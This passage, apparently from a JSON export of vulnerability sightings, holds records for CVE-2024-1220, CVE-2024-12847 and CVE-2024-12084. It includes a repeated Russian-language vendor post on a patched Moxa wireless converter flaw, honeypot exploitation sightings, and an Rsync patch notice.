"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/Positive_Technologies/2462", "content": "\u26a1 \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0438\u0437\u0435 Positive Technologies \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Moxa \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0445 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u0445\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u0430\u0448\u0438\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u043c \u0432 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u0445 NPort W2150A \u0438 W2250A \u2014 \u044d\u0442\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 Wi-Fi \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b, \u0441\u0447\u0435\u0442\u0447\u0438\u043a\u0438 \u0438 \u0434\u0430\u0442\u0447\u0438\u043a\u0438. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Moxa \u0431\u044b\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0430 \u043e\u0431 \u0443\u0433\u0440\u043e\u0437\u0435 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u041f\u041e.\n\n\ud83e\udd77 \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u044d\u0442\u043e\u043c\u0443 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044e. \u00ab\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044f \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0433 \u0431\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0438 \u0434\u0440\u0443\u0433\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0447\u0440\u0435\u0432\u0430\u0442\u043e \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435\u043c \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u00bb, \u2014 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b \u0412\u043b\u0430\u0434\u0438\u043c\u0438\u0440 \u0420\u0430\u0437\u043e\u0432, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442 \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 Positive Technologies.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-1220 (BDU:2024-01811) \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 8,2 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS v3.1, \u0447\u0442\u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u044b\u0441\u043e\u043a\u043e\u043c\u0443 \u0443\u0440\u043e\u0432\u043d\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0414\u043b\u044f \u0435\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u0435\u0439\u0448\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438.\n\n\ud83d\udca1 \u041f\u043e\u0434\u043e\u0431\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0438 \u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u043b\u0438 \u044f\u043a\u043e\u0431\u044b \u0433\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0430\u0440\u0442\u043d\u0435\u0440\u044b \u0438\u043b\u0438 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u043d\u0430 \u0441\u043e\u0431\u0435\u0441\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u0445. \u0412 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u0442\u043e \u043c\u043e\u0433\u043b\u0438 \u0431\u044b \u0431\u044b\u0442\u044c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0441 \u043c\u043e\u0449\u043d\u044b\u043c\u0438 \u0430\u043d\u0442\u0435\u043d\u043d\u0430\u043c\u0438, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0438\u043b\u0438\u0442\u044c \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b \u0438 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0435 \u0438\u0437-\u0437\u0430 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0435\u0449\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0431\u044b \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0442\u043e\u0447\u043a\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0435\u0440\u044b Moxa, \u0438\u043b\u0438 \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u0441\u0435\u0433\u043c\u0435\u043d\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043e\u043d\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b.\n\n\ud83d\udc40 \u0414\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u2014 PT Industrial Security Incident Manager. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0435\u0442 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b \u0441\u0432\u044f\u0437\u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Moxa, \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u0441\u043b\u0443\u0436\u0431\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u0445.\n\n@Positive_Technologies", "creation_timestamp": "2026-07-28T18:00:06.679533Z"}, {"uuid": "7531e743-3819-4e3f-9067-abb5376bd424", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-25)", "content": "", "creation_timestamp": "2026-08-26T10:15:05.485252Z"}, {"uuid": "3c09d82d-277e-4dc9-b072-e7c21886e6dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/Positive_Technologies/2462", "content": "\u26a1 \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0438\u0437\u0435 Positive Technologies \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Moxa \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0445 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u0445\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u0430\u0448\u0438\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u043c \u0432 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u0445 NPort W2150A \u0438 W2250A \u2014 \u044d\u0442\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 Wi-Fi \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b, \u0441\u0447\u0435\u0442\u0447\u0438\u043a\u0438 \u0438 \u0434\u0430\u0442\u0447\u0438\u043a\u0438. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Moxa \u0431\u044b\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0430 \u043e\u0431 \u0443\u0433\u0440\u043e\u0437\u0435 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u041f\u041e.\n\n\ud83e\udd77 \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u044d\u0442\u043e\u043c\u0443 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044e. \u00ab\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044f \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0433 \u0431\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0438 \u0434\u0440\u0443\u0433\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0447\u0440\u0435\u0432\u0430\u0442\u043e \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435\u043c \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u00bb, \u2014 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b \u0412\u043b\u0430\u0434\u0438\u043c\u0438\u0440 \u0420\u0430\u0437\u043e\u0432, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442 \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 Positive Technologies.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-1220 (BDU:2024-01811) \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 8,2 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS v3.1, \u0447\u0442\u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u044b\u0441\u043e\u043a\u043e\u043c\u0443 \u0443\u0440\u043e\u0432\u043d\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0414\u043b\u044f \u0435\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u0435\u0439\u0448\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438.\n\n\ud83d\udca1 \u041f\u043e\u0434\u043e\u0431\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0438 \u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u043b\u0438 \u044f\u043a\u043e\u0431\u044b \u0433\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0430\u0440\u0442\u043d\u0435\u0440\u044b \u0438\u043b\u0438 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u043d\u0430 \u0441\u043e\u0431\u0435\u0441\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u0445. \u0412 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u0442\u043e \u043c\u043e\u0433\u043b\u0438 \u0431\u044b \u0431\u044b\u0442\u044c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0441 \u043c\u043e\u0449\u043d\u044b\u043c\u0438 \u0430\u043d\u0442\u0435\u043d\u043d\u0430\u043c\u0438, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0438\u043b\u0438\u0442\u044c \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b \u0438 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0435 \u0438\u0437-\u0437\u0430 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0435\u0449\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0431\u044b \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0442\u043e\u0447\u043a\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0435\u0440\u044b Moxa, \u0438\u043b\u0438 \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u0441\u0435\u0433\u043c\u0435\u043d\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043e\u043d\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b.\n\n\ud83d\udc40 \u0414\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u2014 PT Industrial Security Incident Manager. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0435\u0442 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b \u0441\u0432\u044f\u0437\u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Moxa, \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u0441\u043b\u0443\u0436\u0431\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u0445.\n\n@Positive_Technologies", "creation_timestamp": "2026-07-29T00:00:30.078874Z"}, {"uuid": "e531582d-ae2b-446b-920e-f69d6eb82136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-23)", "content": "", "creation_timestamp": "2026-08-24T10:15:02.799292Z"}, {"uuid": "976abf31-4568-4c5c-b4fd-1285be1ecb7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-28)", "content": "", "creation_timestamp": "2026-07-29T10:00:03.218706Z"}, {"uuid": "3ce58386-31dd-4214-884d-201af386081d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-28)", "content": "", "creation_timestamp": "2026-07-29T10:15:04.252875Z"}, {"uuid": "5d976d0a-127b-499e-a65d-b959b14c46ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/itpgchannel/2609", "content": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0440\u0435\u043b\u0438\u0437 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync 3.4.0, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, 